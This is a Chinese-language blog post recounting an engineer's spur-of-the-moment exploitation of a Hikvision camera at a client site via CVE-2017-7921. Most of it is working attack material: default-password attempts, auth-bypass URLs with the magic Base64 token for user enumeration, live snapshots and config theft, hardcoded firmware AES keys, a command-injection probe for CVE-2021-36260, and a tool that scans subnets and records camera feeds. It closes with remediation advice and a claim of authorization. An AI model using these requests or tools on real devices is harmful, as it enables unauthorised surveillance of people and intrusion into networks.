// 2026年3月26日
在客户现场"技痒":海康摄像头 CVE-2017-7921 实战复现
起因
在客户现场部署电梯物联网设备时,闲着没事看到墙上的海康摄像头,突然想起美剧里黑客随便调取摄像头画面的场景。作为一个网络安全工程师,一时技痒,掏出笔记本试了试。
没想到,真成了。
Phase 1:设备识别
只知道摄像头在局域网里,先 ping 确认在线:
$ ping 192.168.1.7
64 bytes from 192.168.1.7: time=23ms
然后查 ARP 表拿 MAC 地址:
$ arp -a | grep 192.168.1.7
192.168.1.7 28:57:be:b0:5c:cf
MAC 前缀 28:57:be 一查——杭州海康威视。目标确认。
Phase 2:端口探测的坑
macOS 上没装 nmap,用 bash 的 /dev/tcp 探测端口。扫了 80、443、554、8000、8080、22、23 等几十个常见端口,全部显示关闭。
这让我困惑了一会儿——设备明明在线,怎么所有端口都不通?
转折点:试着直接用 curl 发 HTTP 请求:
$ curl http://192.168.1.7/
HTTP/1.1 200 OK
Content-Length: 481
Server: App-webs/
Last-Modified: Sat, 21 Nov 2015 02:11:48 GMT
返回了!原来设备的防火墙过滤了空 TCP 连接,但正常的 HTTP 请求能过去。
教训:端口扫描被过滤不代表服务不存在,换个方式试试。
另外注意那个 Last-Modified: 2015——固件是 2015 年的,距今超过 10 年没更新。
Phase 3:指纹识别
Server: App-webs/ 是老版本海康固件的典型特征。进一步确认:
$ curl http://192.168.1.7/ISAPI/System/deviceInfo
HTTP/1.1 401 Unauthorized
ISAPI 接口存在,返回 401,确认是海康设备。
Phase 4:默认密码碰撞(失败)
先试最简单的——默认密码:
# 测试了 9 组常见默认密码
admin:12345 → 401
admin:admin → 401
admin:hikvision → 401
admin:888888 → 401
...
全部失败,密码改过了。好消息是管理员有安全意识,坏消息是——我们有 CVE。
Phase 5:CVE-2017-7921 认证绕过
这是一个 CVSS 9.1 的严重漏洞:多个 API 端点无需认证即可访问。
第一击:用户枚举
$ curl "http://192.168.1.7/Security/users?auth=YWRtaW46MTIW"
<UserList version="1.0">
<User>
<id>1</id>
<userName>admin</userName>
<userLevel>Administrator</userLevel>
</User>
</UserList>
没有任何认证,直接拿到管理员信息。auth=YWRtaW46MTIW 是 admin:120 的 Base64,但服务端根本不验证这个参数。
第二击:实时画面
$ curl "http://192.168.1.7/onvif-http/snapshot?auth=YWRtaW46MTIW" -o snap.jpg
下载了一张 1920x1080 的 JPEG——电梯间的实时画面,时间戳 03-24-2026 18:27:50。
到这一步,“美剧黑客”效果已经复现了。
第三击:配置文件下载
$ curl "http://192.168.1.7/System/configurationFile?auth=YWRtaW46MTIW" -o config.dat
# 下载了 763KB 的设备完整配置
Phase 6:配置文件解密(艰难但有收获)
拿到了加密的配置文件,想进一步提取存储的密码。
尝试 1:多种解密方法
写了 hik_decrypt.py,尝试了 7 种方法:
- 已知 XOR 密钥(
\x73\x8B\x55\x44、HikVision等) - 不同偏移量的头部解析
- 单字节 XOR 暴力穷举(256 种可能)
- 正则提取明文凭证
全部失败。
尝试 2:AES 固件密钥
写了 hik_decrypt_v2.py,用从海康固件中提取的 6 组 AES-128-ECB 密钥:
keys = [
bytes.fromhex("279d3a430f287b8c3e89125c6a4dbbfe"), # 最常见的 pre-2017 密钥
bytes.fromhex("0102030405060708090a0b0c0d0e0f10"),
b"OemConfigPasswor", # 16 字节 ASCII
# ... 还有 3 组
]
加上滑动窗口检测 XML 边界、大小端头部解析等技巧——还是全部失败。
结论:这台设备用的是设备序列号派生的 AES 密钥,不是静态密钥。更新的加密方案确实更安全。
踩坑:Python 环境
macOS 上 pip install cryptography 直接报错(PEP 668 限制)。解决方案:
python3 -m venv /tmp/hik_venv
source /tmp/hik_venv/bin/activate
pip install cryptography opencv-python requests numpy
Phase 7:CVE-2021-36260 RCE 探测
既然认证绕过成功了,顺手测了一下命令注入(CVE-2021-36260):
$ curl -X PUT "http://192.168.1.7/SDK/webLanguage" \
-d '<?xml version="1.0"?><language>$(id)</language>'
# 返回 Device Error (statusCode: 3)
端点存在且接受请求,但注入没有成功——可能固件做了部分修补,也可能需要盲注验证。不过已有的证据已经足够说明问题了。
Phase 8:实时监控工具
为了更直观地展示漏洞危害,写了个 500 行的 Python 工具 hik_live_viewer.py:
# 核心:持续抓取 JPEG 帧,用 OpenCV 实时显示
def get_frame(ip):
url = f"http://{ip}/onvif-http/snapshot"
resp = requests.get(url, params={"auth": "YWRtaW46MTIW"}, timeout=5)
arr = np.frombuffer(resp.content, dtype=np.uint8)
return cv2.imdecode(arr, cv2.IMREAD_COLOR)
功能包括:
- 单摄像头实时查看:连续抓帧显示,约 5-10 FPS
- 网段扫描:
-t 192.168.1.0/24批量发现脆弱设备 - 多画面同时显示:
--multi模式同时看多个摄像头 - 录像:
--record保存 AVI 视频文件 - 截图:按 S 键保存当前帧
画面上叠加了红色警告横幅:[UNAUTHORIZED ACCESS] - CVE-2017-7921,视觉冲击力拉满。
漏洞影响总结
| 能力 | 说明 |
|---|---|
| 实时监控 | 无需认证查看任意摄像头画面 |
| 用户枚举 | 提取所有管理员账号 |
| 配置窃取 | 下载完整设备配置 |
| 批量利用 | 一个脚本扫全网段 |
| 零交互 | 不需要受害者任何操作 |
安全建议
给运维人员:
- 立即升级固件到 V5.7.x 以上
- 摄像头放独立 VLAN,ACL 严格限制访问
- 禁用 HTTP,只开 HTTPS
- 2015 年的设备如果不支持新固件,直接换掉
给安全从业者:
- IoT 设备是内网最薄弱的环节
- 端口扫描被过滤 ≠ 服务不存在,多换几种探测方式
- 老固件 + 公开 CVE = 几乎必定可利用
给开发者:
- 认证必须覆盖所有端点,一个遗漏就是全线崩溃
- 配置加密要用设备特征派生密钥,不要硬编码
- AES-ECB 模式不适合加密结构化数据
后续
测试完成后第一时间通知了客户运维团队,建议升级固件并做网络隔离。最终结论很简单:这台 2015 年固件的摄像头不适合部署在任何有安全要求的环境。同一个内网里,任何人在浏览器地址栏输入一个 URL 就能看到实时画面。
这次”技痒”也再次证明了一个道理:内网不等于安全,很多看起来正常运转的设备,实际上一捅就穿。
免责声明:本文记录的安全测试已获得授权,仅用于安全研究和教育目的。测试完成后已通知设备管理方进行整改。